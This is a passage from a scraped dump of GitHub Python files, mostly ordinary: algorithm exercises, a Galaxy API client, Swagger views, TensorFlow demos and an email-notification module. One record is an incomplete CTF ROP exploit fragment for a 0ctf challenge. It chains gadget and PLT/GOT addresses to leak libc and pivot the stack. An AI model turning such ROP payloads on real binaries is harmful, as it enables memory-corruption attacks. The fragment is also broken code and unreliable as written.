app.run()","repo_name":"Real-TomHy/MyBullShitGenerator","sub_path":"go_Auto.py","file_name":"go_Auto.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4007243055","text":"from array import *\nn=int(input())\ns=input()\nscore=array('i',[])\nl=s.split()\nfor i in l:\n score.append(int(i))\ndef breakingRecords(score):\n max_score=score[0]\n min_score=score[0]\n max_count=0\n min_count=0\n for i in score:\n if(imax_score):\n max_score=i\n max_count=max_count+1\n c=' '.join([str(max_count),str(min_count)])\n return c\nprint(breakingRecords(score))\n","repo_name":"pritamBikram/HACKER_RANK","sub_path":"breaking_record_game.py","file_name":"breaking_record_game.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19381803553","text":"#!/usr/bin/env python\n\nfrom ncca import Visualizer\nfrom random import randint\n\ncanvas=Visualizer.Visualizer(width=100, height=100, bg=\"#000000\")\n\nfor _ in range(0,100000) :\n x=randint(0,100)\n y=randint(0,100)\n r=randint(0,255)\n g=randint(0,255)\n b=randint(0,255)\n canvas.put_pixel(x,y,r,g,b)\ncanvas.save(\"test.png\")\n\ncanvas.main_loop()\n\n","repo_name":"NCCA/PCG","sub_path":"test_canvas.py","file_name":"test_canvas.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35721369350","text":"import json\nimport os\n\nfrom . import base\nfrom .registry import register\n\n\n@register(commands=['define','what', \"what's\"])\nclass Acronym(base.Command):\n template = \"\"\"{{ acronym|nc }}: {{ definition }}\"\"\"\n\n def context(self, msg):\n payload = {}\n acronym_file = os.path.join(os.path.abspath(os.path.dirname(__file__)), '..', 'acro.json')\n acronyms = json.load(open(acronym_file, encoding='utf-8'))\n word = msg['args']\n\n if word[:3] == 'is ':\n word = word[3:]\n\n word = word.strip().strip('?').upper()\n\n if word in acronyms:\n payload['acronym'] = word\n payload['definition'] = acronyms[word]\n else:\n raise base.NoMessage\n\n return payload\n","repo_name":"dferrante/pywx","sub_path":"pywx/modules/define.py","file_name":"define.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"7806975657","text":"\"\"\"\nbfs - 인접 행렬 or 인접 리스트 구현\n\"\"\"\n\ndef bfs(v):\n queue.append(v)\n while queue:\n t = queue.pop(0)\n if not visited[t]:\n visited[t] = 1\n print(t+1)\n for i in range(len(edges[t])):\n if visited[edges[t][i]] != 1:\n queue.append(edges[t][i])\n\nimport sys\nsys.stdin = open('input.txt')\n\n# V(ertex), E(dge)\nV, E = map(int, input().split())\nEs = list(map(int, input().split()))\n# 간선 정보 초기화\nedges = [[] for _ in range(V)]\n# Graph 초기화\nfor i in range(E):\n edges[Es[2*i]-1].append(Es[2*i + 1]-1)\n edges[(Es[2*i + 1]-1)].append(Es[2*i]-1)\n# 방문 표시 초기화\nvisited = [0] * V\nqueue = []\n# bfs 탐색 시작\nbfs(0)","repo_name":"asooso1/ssafy_algorithm","sub_path":"0825/이주현/ex2/bfs.py","file_name":"bfs.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43149500384","text":"# Cousins in Binary Tree\n\n# In a binary tree, the root node is at depth 0, and children of each depth k node are at depth k+1.\n#\n# Two nodes of a binary tree are cousins if they have the same depth, but have different parents.\n#\n# We are given the root of a binary tree with unique values, and the values x and y of two different nodes in the tree.\n#\n# Return true if and only if the nodes corresponding to the values x and y are cousins.\n#\n#\n\n# Definition for a binary tree node.\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def isCousins(self, root: TreeNode, x: int, y: int) -> bool:\n\n def find(node: TreeNode, v: int, d: int) -> [int]:\n left = []\n right = []\n if node.left:\n if node.left.val == v:\n return [node.val, d + 1]\n else:\n left = find(node.left, v, d + 1)\n if node.right:\n if node.right.val == v:\n return [node.val, d + 1]\n else:\n right = find(node.right, v, d + 1)\n if left:\n return left\n if right:\n return right\n\n left = find(root, x, 0)\n right = find(root, y, 0)\n if left and right:\n if left[0] != right[0] and left[1] == right[1]:\n return True\n return False\n\n\nif __name__ == '__main__':\n s = Solution()\n t1 = TreeNode(1)\n t2 = TreeNode(2)\n t3 = TreeNode(3)\n t4 = TreeNode(4)\n t5 = TreeNode(5)\n t6 = TreeNode(6)\n t7 = TreeNode(7)\n t1.right = t2\n t2.left = t3\n t3.right = t4\n t4.right = t5\n print(s.isCousins(t1, 1, 3))\n","repo_name":"TTVidi/leetcode-python","sub_path":"src/leetcode/may/day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14023958332","text":"\"\"\"Казино!\r\n\r\nURL: https://stepik.org/lesson/567035/step/3?unit=561309\r\n\r\nDISCRIPTION:\r\nКомпьютер генерирует числа от 1 до 10 и от 1-го до 2-х соответственно.\r\nЦифры от 1 до 10 отвечают за номер, а от 1 до 2-х отвечают за цвет (\r\n1 - красный, 2 -черный).\r\nПользователю даётся 5 попыток угадать номер и цвет.\r\nВ случае неудачи вывети на экран правильную комбинацию.\"\"\"\r\n\r\nimport random\r\ncount = int(input(\"Сколько раз вы хотите попытать счастье?: \"))\r\nposb = 0\r\nwhile posb <= count:\r\n i = random.randrange(1, 37)\r\n j = random.randrange(1, 3)\r\n x = int(input('Введите номер от 1 до 36: '))\r\n y = int(input('Введите цвет: 1 - красный, 2 - чёрный: '))\r\n while (x > 36) or (y > 2):\r\n print(\"введены не верные цифры\")\r\n x = int(input('Введите номер от 1 до 36: '))\r\n y = int(input('Введите цвет: 1 - красный, 2 - чёрный: '))\r\n if x == i and j == y:\r\n print(\"Вы угадали!\")\r\n break\r\n else:\r\n if j == 1:\r\n print(\"Вы не угадали! Правильаня комбинация:\" + str(i),\r\n 'красный')\r\n posb += 1\r\n else:\r\n print(\"Вы не угадали! Правильаня комбинация:\" + str(i),\r\n 'чёрный')\r\n posb += 1\r\n if posb == count:\r\n break\r\n","repo_name":"MaksuhaMC/Roulette","sub_path":"Ruletka.py","file_name":"Ruletka.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2394547634","text":"\"\"\"\nContains possible interactions with the Galaxy Roles\n\"\"\"\nfrom typing import (\n Any,\n Dict,\n List,\n Optional,\n TYPE_CHECKING,\n)\n\nfrom bioblend.galaxy.client import Client\n\nif TYPE_CHECKING:\n from bioblend.galaxy import GalaxyInstance\n\n\nclass RolesClient(Client):\n module = \"roles\"\n\n def __init__(self, galaxy_instance: \"GalaxyInstance\") -> None:\n super().__init__(galaxy_instance)\n\n def get_roles(self) -> List[Dict[str, Any]]:\n \"\"\"\n Displays a collection (list) of roles.\n\n :rtype: list\n :return: A list of dicts with details on individual roles.\n For example::\n\n [{\"id\": \"f2db41e1fa331b3e\",\n \"model_class\": \"Role\",\n \"name\": \"Foo\",\n \"url\": \"/api/roles/f2db41e1fa331b3e\"},\n {\"id\": \"f597429621d6eb2b\",\n \"model_class\": \"Role\",\n \"name\": \"Bar\",\n \"url\": \"/api/roles/f597429621d6eb2b\"}]\n \"\"\"\n return self._get()\n\n def show_role(self, role_id: str) -> Dict[str, Any]:\n \"\"\"\n Display information on a single role\n\n :type role_id: str\n :param role_id: Encoded role ID\n\n :rtype: dict\n :return: Details of the given role.\n For example::\n\n {\"description\": \"Private Role for Foo\",\n \"id\": \"f2db41e1fa331b3e\",\n \"model_class\": \"Role\",\n \"name\": \"Foo\",\n \"type\": \"private\",\n \"url\": \"/api/roles/f2db41e1fa331b3e\"}\n \"\"\"\n return self._get(id=role_id)\n\n def create_role(\n self,\n role_name: str,\n description: str,\n user_ids: Optional[List[str]] = None,\n group_ids: Optional[List[str]] = None,\n ) -> Dict[str, Any]:\n \"\"\"\n Create a new role.\n\n :type role_name: str\n :param role_name: A name for the new role\n\n :type description: str\n :param description: Description for the new role\n\n :type user_ids: list\n :param user_ids: A list of encoded user IDs to add to the new role\n\n :type group_ids: list\n :param group_ids: A list of encoded group IDs to add to the new role\n\n :rtype: dict\n :return: Details of the newly created role.\n For example::\n\n {'description': 'desc',\n 'url': '/api/roles/ebfb8f50c6abde6d',\n 'model_class': 'Role',\n 'type': 'admin',\n 'id': 'ebfb8f50c6abde6d',\n 'name': 'Foo'}\n\n .. versionchanged:: 0.15.0\n Changed the return value from a 1-element list to a dict.\n \"\"\"\n if user_ids is None:\n user_ids = []\n if group_ids is None:\n group_ids = []\n payload = {\"name\": role_name, \"description\": description, \"user_ids\": user_ids, \"group_ids\": group_ids}\n ret = self._post(payload)\n if isinstance(ret, list):\n # Galaxy release_20.09 and earlier returned a 1-element list\n ret = ret[0]\n return ret\n","repo_name":"galaxyproject/bioblend","sub_path":"bioblend/galaxy/roles/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"48"} +{"seq_id":"38173920362","text":"import sys\nimport json\n\nfrom django.views.generic import TemplateView\nfrom django.http import HttpResponse, Http404\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.core.urlresolvers import reverse\nfrom django.conf import settings\n\nfrom .mapping import ResourceSwaggerMapping\n\n\nclass TastypieApiMixin(object):\n \"\"\"\n Provides views with a 'tastypie_api' attr representing a tastypie.api.Api instance\n\n Python path must be defined in settings as TASTYPIE_SWAGGER_API_MODULE\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(TastypieApiMixin, self).__init__(*args, **kwargs)\n tastypie_api_module = getattr(settings, 'TASTYPIE_SWAGGER_API_MODULE', None)\n if not tastypie_api_module:\n raise ImproperlyConfigured(\"Must define TASTYPIE_SWAGGER_API_MODULE in settings as path to a tastypie.api.Api instance\")\n path, attr = tastypie_api_module.rsplit('.', 1)\n try:\n tastypie_api = getattr(sys.modules[path], attr, None)\n except KeyError:\n raise ImproperlyConfigured(\"%s is not a valid python path\" % path)\n if not tastypie_api:\n raise ImproperlyConfigured(\"%s is not a valid tastypie.api.Api instance\" % tastypie_api_module)\n self.tastypie_api = tastypie_api\n\n\nclass SwaggerApiDataMixin(object):\n \"\"\"\n Provides required API context data\n \"\"\"\n\n def get_context_data(self, *args, **kwargs):\n context = super(SwaggerApiDataMixin, self).get_context_data(*args, **kwargs)\n context.update({\n # TODO: How should versions be controlled?\n 'apiVersion': '0.1',\n 'swaggerVersion': '1.1',\n })\n return context\n\n\nclass JSONView(TemplateView):\n \"\"\"\n Simple JSON rendering\n \"\"\"\n response_class = HttpResponse\n\n def render_to_response(self, context, **response_kwargs):\n \"\"\"\n Returns a response with a template rendered with the given context.\n \"\"\"\n for k in ['params','view']:\n if k in context:\n del context[k]\n return self.response_class(\n json.dumps(context),\n content_type='application/json',\n **response_kwargs\n )\n\n\nclass SwaggerView(TastypieApiMixin, TemplateView):\n \"\"\"\n Display the swagger-ui page\n \"\"\"\n\n template_name = 'tastypie_swagger/index.html'\n\n\nclass ResourcesView(TastypieApiMixin, SwaggerApiDataMixin, JSONView):\n \"\"\"\n Provide a top-level resource listing for swagger\n\n This JSON must conform to https://github.com/wordnik/swagger-core/wiki/Resource-Listing\n \"\"\"\n\n def get_context_data(self, *args, **kwargs):\n context = super(ResourcesView, self).get_context_data(*args, **kwargs)\n\n # Construct schema endpoints from resources\n apis = [{'path': '/%s' % name} for name in sorted(self.tastypie_api._registry.keys())]\n context.update({\n 'basePath': self.request.build_absolute_uri(reverse('tastypie_swagger:schema')),\n 'apis': apis,\n })\n return context\n\n\nclass SchemaView(TastypieApiMixin, SwaggerApiDataMixin, JSONView):\n \"\"\"\n Provide an individual resource schema for swagger\n\n This JSON must conform to https://github.com/wordnik/swagger-core/wiki/API-Declaration\n \"\"\"\n\n def get_context_data(self, *args, **kwargs):\n # Verify matching tastypie resource exists\n resource_name = kwargs.get('resource', None)\n if not resource_name in self.tastypie_api._registry:\n raise Http404\n\n # Generate mapping from tastypie.resources.Resource.build_schema\n resource = self.tastypie_api._registry.get(resource_name)\n mapping = ResourceSwaggerMapping(resource)\n\n context = super(SchemaView, self).get_context_data(*args, **kwargs)\n context.update({\n 'basePath': '/',\n 'apis': mapping.build_apis(),\n 'models': mapping.build_models()\n })\n return context\n","repo_name":"openkratio/proyecto-colibri","sub_path":"tastypie_swagger/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3972,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"48"} +{"seq_id":"2854489365","text":"import cv2\nimport tensorflow as tf\nimport os\nimport numpy as np\n\n\nX_PATH = r\"C:\\Users\\mehmetcan\\Desktop\\pix2pix-dataset_SHOE\\X\"\nY_PATH = r\"C:\\Users\\mehmetcan\\Desktop\\pix2pix-dataset_SHOE\\y\"\n\ndef read_img(PATH):\n img = cv2.imread(PATH)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n img = img / 255\n return img\n\ndef get_test_img():\n img = read_img(\"test_img.jpg\")\n return img\n\ndef _generator():\n for img in os.listdir(X_PATH):\n X_img = read_img(os.path.join(X_PATH, img))\n y_img = read_img(os.path.join(Y_PATH, img))\n yield X_img, y_img\n\n\ndef get_dataset_obj():\n gen = tf.data.Dataset.from_generator(_generator, output_signature=(\n tf.TensorSpec(shape=(224,224,3), dtype=tf.float32),\n tf.TensorSpec(shape=(224,224,3), dtype=tf.float32)\n ))\n\n gen = gen.batch(8)\n return gen","repo_name":"mehmetcanakbay/paperimp_tensorflow2.0","sub_path":"pix2pix/dataprep.py","file_name":"dataprep.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44016605744","text":"\"\"\"\nGiven an integer n, break it into the sum of k positive integers, where k >= 2, and maximize the product of those integers.\n\nReturn the maximum product you can get.\n\"\"\"\n\ndef integer_break(n: int) -> int:\n # recursive solution\n # dfs\n # base case: if num == 1 return 1\n # initial val = 0 if current num == n else n because we need to break up n into at least 2 nums\n # iterate thru range from 1 to num, non-inclusive\n # get the product of dfs(i) * dfs(num - i)\n # set val to the max of current val and the product\n # return max val\n# call dfs(n)\n # cache = {1: 1}\n\n # def _dfs(num) -> int:\n # if num in cache:\n # return cache[num]\n\n # val = 0 if num == n else num\n # for i in range(1, num):\n # val = max(val, (_dfs(i) * _dfs(num - i)))\n\n # cache[num] = val\n # return val\n\n # return _dfs(n)\n\n # iterative, dp solution\n cache = {1: 1}\n for num in range(1, n + 1):\n val = 0 if num == n else num\n for i in range(1, num):\n val = max(val, cache[i] * cache[num - i])\n cache[num] = val\n return cache[n]\n\n\nprint(integer_break(2) == 1)\nprint(integer_break(10) == 36)\n","repo_name":"NickArakaki/ds-a-practice","sub_path":"LeetCode/Completed/Integers/343.IntegerBreak.py","file_name":"343.IntegerBreak.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16657785749","text":"from matplotlib.animation import PillowWriter\nfrom image_plot import ImageEvaluationPlot\nfrom activation_functions import get_sigmoid_tanh, lineal_func, step_func\nfrom network import Network\nfrom train_data import ej1_and_data, ej1_xor_data\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom plot_line import Plot\n\n\n# model = Network.with_random_weights(2, (3, 1, ), step_func)\n# model = Network.with_random_weights(2, (4, 4, 4, 4, 1, ), step_func)\n# model = Network.with_random_weights(2, (3, 3, 1, ), lineal_func)\nmodel = Network.with_random_weights(2, (100, 100, 1, ), *get_sigmoid_tanh(100))\n\n# data = ej1_and_data\ndata = ej1_xor_data\n\nres = 120\nplot = ImageEvaluationPlot(model, res, res, (-2, 2), (-2, 2))\nplot.ax.scatter([-1, -1, 1, 1], [-1, 1, -1, 1], color='black')\nplot.draw()\n\nwriter = PillowWriter(fps = 10)\nwriter.setup(plot.fig, 'plots/ej3_1_tanh.gif', dpi=200)\n\n# print(model.layers[0].weights.flatten())\n# print(model.error(ej1_data))\ntry:\n while model.error(data) > 0:\n # model.train(0.001, data)\n model.train(0.000001, data)\n print(model.error(data))\n # print(model.layers[0].weights.flatten(), model.error(ej1_data))\n # for single_data in data:\n # print(single_data.inputs, single_data.outputs, model.evaluate(single_data.inputs), end=' | ')\n # print()\n\n plot.draw()\n writer.grab_frame()\nexcept KeyboardInterrupt:\n pass\n\nfor _ in range(10):\n writer.grab_frame()\nwriter.finish()\n\nplt.show()\n\n# single_neuron = Network.with_random_weights(1, (2, 3), step_func)\n\n# print(single_neuron.evaluate(np.array([1])))\n","repo_name":"alansartorio/itba-sia","sub_path":"TP3/ej3.py","file_name":"ej3.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12491174875","text":"leave_ret = 0x080485d8\nputs_plt = 0x8048510\n__stack_got = 0x0804B01C\n\npayload = ''\npayload += p32(leave_ret)\npayload += 'h'*0x114/3\npayload += 'a'*(0x114%3)\npayload += 'bbbb'\npayload += pop_ebp_ret\npayload += __stack_got\npayload += puts_plt\npayload += pop_ebp_ret\npayload += puts_got\npayload += input\npayload += pop2_ret\npayload += addr\npayload += 2000\npayload += popebp_ret\npayload += addr\npayload += leave_ret\n\n'''\npayload = ''\npayload += system\npayload += system\npayload += binsh_addr\npayload += binsh_addr\npayload += '/bin/sh'\n\n\n\n\n\n1.shellcode write got\n2.change ebp continue ROP\n'''\n","repo_name":"jackpelf/store","sub_path":"CTF/0ctf/poc.py","file_name":"poc.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"70095475345","text":"# #### 假设我们要最小化函数 $y=x^2$, 选择初始点 $x_0=5$\n# #### 1. 学习率为1的时候,x在5和-5之间震荡。\nimport tensorflow as tf\nTRAINING_STEPS = 10\nLEARNING_RATE = 1\nx = tf.Variable(tf.constant(5, dtype=tf.float32), name=\"x\")\ny = tf.square(x)\n\ntrain_op = tf.train.GradientDescentOptimizer(LEARNING_RATE).minimize(y)\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for i in range(TRAINING_STEPS):\n sess.run(train_op)\n x_value = sess.run(x)\n print(\"After %s iteration(s): x%s is %f.\"% (i+1, i+1, x_value))\n\n# #### 2. 学习率为0.001的时候,下降速度过慢,在901轮时才收敛到0.823355。\n\nTRAINING_STEPS = 1000\nLEARNING_RATE = 0.001\nx = tf.Variable(tf.constant(5, dtype=tf.float32), name=\"x\")\ny = tf.square(x)\n\ntrain_op = tf.train.GradientDescentOptimizer(LEARNING_RATE).minimize(y)\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for i in range(TRAINING_STEPS):\n sess.run(train_op)\n if i % 100 == 0: \n x_value = sess.run(x)\n print(\"After %s iteration(s): x%s is %f.\"% (i+1, i+1, x_value))\n# #### 3. 使用指数衰减的学习率,在迭代初期得到较高的下降速度,可以在较小的训练轮数下取得不错的收敛程度。\n\nTRAINING_STEPS = 100\nglobal_step = tf.Variable(0)\nLEARNING_RATE = tf.train.exponential_decay(0.1, global_step, 1, 0.96, staircase=True)\n\nx = tf.Variable(tf.constant(5, dtype=tf.float32), name=\"x\")\ny = tf.square(x)\ntrain_op = tf.train.GradientDescentOptimizer(LEARNING_RATE).minimize(y, global_step=global_step)\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for i in range(TRAINING_STEPS):\n sess.run(train_op)\n if i % 10 == 0:\n LEARNING_RATE_value = sess.run(LEARNING_RATE)\n x_value = sess.run(x)\n print(\"After %s iteration(s): x%s is %f, learning rate is %f.\"% (i+1, i+1, x_value, LEARNING_RATE_value))\n\n\n# After 1 iteration(s): x1 is -5.000000.\n# After 2 iteration(s): x2 is 5.000000.\n# After 3 iteration(s): x3 is -5.000000.\n# After 4 iteration(s): x4 is 5.000000.\n# After 5 iteration(s): x5 is -5.000000.\n# After 6 iteration(s): x6 is 5.000000.\n# After 7 iteration(s): x7 is -5.000000.\n# After 8 iteration(s): x8 is 5.000000.\n# After 9 iteration(s): x9 is -5.000000.\n# After 10 iteration(s): x10 is 5.000000.\n# After 1 iteration(s): x1 is 4.990000.\n# After 101 iteration(s): x101 is 4.084646.\n# After 201 iteration(s): x201 is 3.343555.\n# After 301 iteration(s): x301 is 2.736923.\n# After 401 iteration(s): x401 is 2.240355.\n# After 501 iteration(s): x501 is 1.833880.\n# After 601 iteration(s): x601 is 1.501153.\n# After 701 iteration(s): x701 is 1.228794.\n# After 801 iteration(s): x801 is 1.005850.\n# After 901 iteration(s): x901 is 0.823355.\n# After 1 iteration(s): x1 is 4.000000, learning rate is 0.096000.\n# After 11 iteration(s): x11 is 0.690561, learning rate is 0.063824.\n# After 21 iteration(s): x21 is 0.222583, learning rate is 0.042432.\n# After 31 iteration(s): x31 is 0.106405, learning rate is 0.028210.\n# After 41 iteration(s): x41 is 0.065548, learning rate is 0.018755.\n# After 51 iteration(s): x51 is 0.047625, learning rate is 0.012469.\n# After 61 iteration(s): x61 is 0.038558, learning rate is 0.008290.\n# After 71 iteration(s): x71 is 0.033523, learning rate is 0.005511.\n# After 81 iteration(s): x81 is 0.030553, learning rate is 0.003664.\n# After 91 iteration(s): x91 is 0.028727, learning rate is 0.002436.","repo_name":"Asurada2015/TensorFlow_Google_Practice","sub_path":"Deep_Learning_with_TensorFlow/1.4.0/Chapter04/2. 学习率的设置.py","file_name":"2. 学习率的设置.py","file_ext":"py","file_size_in_byte":3524,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"31225709466","text":"import smtplib\nfrom email.mime.text import MIMEText\nfrom xml.etree.ElementTree import Comment\n\nimport db\nimport creds\nfrom datetime import datetime\nfrom config import EXPIRATION_BY_NUM_DAYS\n\nAPPROVERS_LIST = \"sipb-projectdb-approvers@mit.edu\"\n# APPROVERS_LIST = 'markchil@mit.edu'\nSERVICE_EMAIL = \"sipb-projectdb-bot@mit.edu\" #Email identifying as coming from this service\n\nALL_PROJECTS_URL = \"https://{locker}.scripts.mit.edu:444/projectlist.py\".format(locker=creds.user)\nAWAITING_APPROVAL_URL = \"https://{locker}.scripts.mit.edu:444/projectlist.py?filter_by=awaiting_approval\".format(locker=creds.user)\nBASE_EDIT_URL = \"https://{locker}.scripts.mit.edu:444/editproject.py?project_id=\".format(locker=creds.user) #Need to provide project id at the end\nBASE_HISTORY_URL = \"https://{locker}.scripts.mit.edu:444/projecthistory.py?project_id=\".format(locker=creds.user) #Need to provide project id at the end\n\n## Helper function\n\ndef get_point_of_contacts(project_info):\n \"\"\"\n Given a project, return a list of strings of all the email contacts \n associated with the project (including the creator)\n \"\"\"\n creator_email = db.get_project_creator(project_info['project_id']) + '@mit.edu'\n all_contacts = [creator_email]\n for contact in project_info['contacts']:\n if contact not in project_info['contacts']: #Avoid duplicates\n all_contacts.append(contact['email'])\n return all_contacts\n\n\ndef format_project_links(links):\n result = ''\n for link in links:\n result += \"\"\"\n Link: {link}\n Anchortext: {anchortext}\n\n \"\"\".format(\n link=link['link'],\n anchortext=link['anchortext']\n )\n return result\n\n\ndef format_project_comm_channels(comm_channels):\n result = ''\n for channel in comm_channels:\n result += \"\"\"\n Channel: {channel}\n\n \"\"\".format(\n channel=channel['commchannel']\n )\n return result\n\n\ndef format_project_roles(roles):\n result = ''\n for role in roles:\n result += \"\"\"\n Role: {role}\n Description: {description}\n Prereq: {prereq}\n \"\"\".format(\n role=role['role'],\n description=role['description'],\n prereq=role['prereq']\n )\n return result\n\n\ndef format_project_contacts(contacts):\n result = ''\n for contact in contacts:\n result += \"\"\"\n Contact: {email}\n Type: {type}\n \"\"\".format(\n email=contact['email'],\n type=contact['type']\n )\n return result\n\n\ndef format_project_info(project_info):\n \"\"\"Format a string with all of the various project info.\n \"\"\"\n result = \"\"\"\n Name: {name}\n\n Description:\n {description}\n\n Status: {status}\n\n Link(s):\n {links}\n\n Communications channel(s):\n {comm_channels}\n\n Role(s):\n {roles}\n\n Contact(s):\n {contacts}\n \"\"\".format(\n name=project_info['name'],\n description=project_info['description'],\n status=project_info['status'],\n links=format_project_links(project_info['links']),\n comm_channels=format_project_comm_channels(\n project_info['comm_channels']\n ),\n roles=format_project_roles(project_info['roles']),\n contacts=format_project_contacts(project_info['contacts'])\n )\n return result\n\n\n## Main functionality\n\n\ndef send(recipients, sender, subject, message):\n \"\"\"Send an unauthenticated email using MIT's SMTP server\n\n Args:\n recipients (Sequence[str] | str): If one receipient, use a single string. Else use a list of strings.\n sender (str): Email of sender\n subject (str): Email subject\n message (str): Actual content of email\n \"\"\"\n msg = MIMEText(message)\n msg['Subject'] = subject\n msg['From'] = sender\n if isinstance(recipients, str):\n msg['To'] = recipients\n elif isinstance(recipients, list):\n msg['To'] = ','.join(recipients)\n else:\n raise Exception(\"Email recipient neither a list or a string\")\n \n s = smtplib.SMTP('outgoing.mit.edu', 25)\n s.sendmail(sender, recipients, msg.as_string())\n s.quit()\n\n\ndef send_to_approvers(project_info):\n \"\"\"Send a message to the approver mailing list notifying that a project is\n ready for review.\n \"\"\"\n project_creator = db.get_project_creator(project_info['project_id'])\n current_time = datetime.now().strftime(\"%H:%M:%S on %m/%d/%Y\")\n subject = \"[Action Required] SIPB project '{name}' needs approval\".format(name=project_info['name'])\n msg = \"\"\"\n Dear SIPB Project Approvers,\n \n Project '{name}' has been submitted to the database by {creator} and is awaiting review.\n \n See the list of all projects that are awaiting approval here:\n {url}\n \n This email was generated as of {time}.\n \n Sincerely,\n SIPB ProjectDB service bot\n \"\"\".format(\n name=project_info['name'],\n creator=project_creator,\n time=current_time,\n url=AWAITING_APPROVAL_URL)\n \n send(APPROVERS_LIST,SERVICE_EMAIL,subject,msg)\n\n\ndef send_edit_notice_to_approvers(project_info, editor_kerberos):\n \"\"\"Send a message to the approver mailing list notifying that a project has\n been edited.\n \"\"\"\n current_time = datetime.now().strftime(\"%H:%M:%S on %m/%d/%Y\")\n subject = \"[NOTICE] SIPB project '{name}' has been edited\".format(\n name=project_info['name']\n )\n msg = \"\"\"\n Dear SIPB Project Approvers,\n \n Project '{name}' has been edited by {editor}. No action is required if the\n following details are acceptable, otherwise edit the details using the URL\n at the end of this message.\n\n {info}\n \n Edit the project, if necessary, here:\n {url}\n\n You can also roll back to a previous state here:\n {history_url}\n \n This email was generated as of {time}.\n \n Sincerely,\n SIPB ProjectDB service bot\n \"\"\".format(\n name=project_info['name'],\n info=format_project_info(project_info),\n editor=editor_kerberos,\n time=current_time,\n url=BASE_EDIT_URL + str(project_info['project_id']),\n history_url=BASE_HISTORY_URL + str(project_info['project_id'])\n )\n \n send(APPROVERS_LIST, SERVICE_EMAIL, subject, msg)\n\n\ndef send_approve_message(project_info, approver_kerberos, approver_comments):\n \"\"\"Send a message to the project creator and points of contact indicating\n that the project has been accepted.\n \"\"\"\n current_time = datetime.now().strftime(\"%H:%M:%S on %m/%d/%Y\")\n subject = \"SIPB project '{name}' has been approved\".format(name=project_info['name'])\n msg = \"\"\"\n Dear {name}'s project team,\n \n Congratulations! Your project submission to the SIPB projects website has been reviewed and approved by {approver}, with the following comment:\n \n \\\"{comment}\\\"\n \n You can now find your project on the list of all approved projects at:\n {url}\n \n This email was generated as of {time}.\n \n Sincerely,\n SIPB ProjectDB service bot\n \"\"\".format(name=project_info['name'],\n url=ALL_PROJECTS_URL,\n time=current_time,\n approver=approver_kerberos,\n comment=approver_comments if approver_comments else \"None\")\n \n recipients = get_point_of_contacts(project_info) + [APPROVERS_LIST]\n send(recipients,SERVICE_EMAIL,subject,msg)\n\n\ndef send_reject_message(project_info, approver_kerberos, approver_comments):\n \"\"\"Send a message to the project creator and points of contact indicating\n that the project has been rejected.\n \"\"\"\n current_time = datetime.now().strftime(\"%H:%M:%S on %m/%d/%Y\")\n subject = \"SIPB project '{name}' has been rejected\".format(name=project_info['name'])\n msg = \"\"\"\n Dear {name}'s project team,\n \n Unfortunately, your project submission to the SIPB projects website has been rejected by {approver} with the following comments:\n \n \\\"{comment}\\\"\n \n You can edit your project using the following link:\n {url}\n \n Please make the necessary changes to your project submission and resubmit for another review.\n \n This email was generated as of {time}.\n \n Sincerely,\n SIPB ProjectDB service bot\n \"\"\".format(name=project_info['name'],\n time=current_time,\n approver=approver_kerberos,\n url= BASE_EDIT_URL + str(project_info['project_id']),\n comment=approver_comments) # There *must* be a comment for rejection\n \n recipients = get_point_of_contacts(project_info) + [APPROVERS_LIST]\n send(recipients,SERVICE_EMAIL,subject,msg)\n\n\ndef send_confirm_reminder_message(project_info,num_days_left):\n \"\"\"Send a message to the project contact(s) reminding them to confirm the\n project details. \n \"\"\"\n current_time = datetime.now().strftime(\"%H:%M:%S on %m/%d/%Y\")\n subject = \"[ACTION NEEDED] SIPB project '{name}' needs to be renewed\".format(name=project_info['name'])\n msg = \"\"\"\n Dear {name}'s project team,\n \n Per SIPB's policy, we require that project maintainers update their submitted project info at least every {policy_num_days} days make sure the information it contains is correct. The expiration date is calculated from the last time an edit was made to the project. We ask that you review the project information displayed on the SIPB projects website and make any edits as necessary.\n \n If you fail to renew the status of your project, of which you have {num_days} left, then your project will automatically be set to \"inactive\".\n \n You can edit your project using the following link:\n {url}\n \n Note: If no edits 